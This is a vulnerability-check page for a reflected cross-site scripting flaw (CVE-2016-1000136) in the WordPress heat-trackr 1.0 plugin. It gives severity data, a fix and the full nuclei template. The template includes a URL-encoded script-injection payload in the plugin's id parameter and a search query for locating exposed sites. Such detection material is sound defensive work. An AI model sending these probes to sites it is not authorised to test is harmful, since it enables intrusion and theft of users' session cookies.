WordPress heat-trackr 1.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.4%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

WordPress heat-trackr 1.0 contains a cross-site scripting vulnerability via heat-trackr_abtest_add.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.

Fix

Upgrade to the latest version of WordPress heat-trackr or apply the provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "/wp-content/plugins/heat-trackr/"
Send: GET {{BaseURL}}/wp-content/plugins/heat-trackr/heat-trackr_abtest_add.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000136 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000136

info:
  name: WordPress heat-trackr 1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress heat-trackr 1.0 contains a cross-site scripting vulnerability via heat-trackr_abtest_add.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Upgrade to the latest version of WordPress heat-trackr or apply the provided patch to fix the XSS vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=798
    - https://wordpress.org/plugins/heat-trackr
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000136
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000136
    cwe-id: CWE-79
    epss-score: 0.03415
    epss-percentile: 0.88994
    cpe: cpe:2.3:a:heat-trackr_project:heat-trackr:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "heat-trackr_project"
    product: "heat-trackr"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/heat-trackr\""
  tags: cve2016,cve,wordpress,xss,wp-plugin,heat-trackr_project,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/heat-trackr/'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/heat-trackr/heat-trackr_abtest_add.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from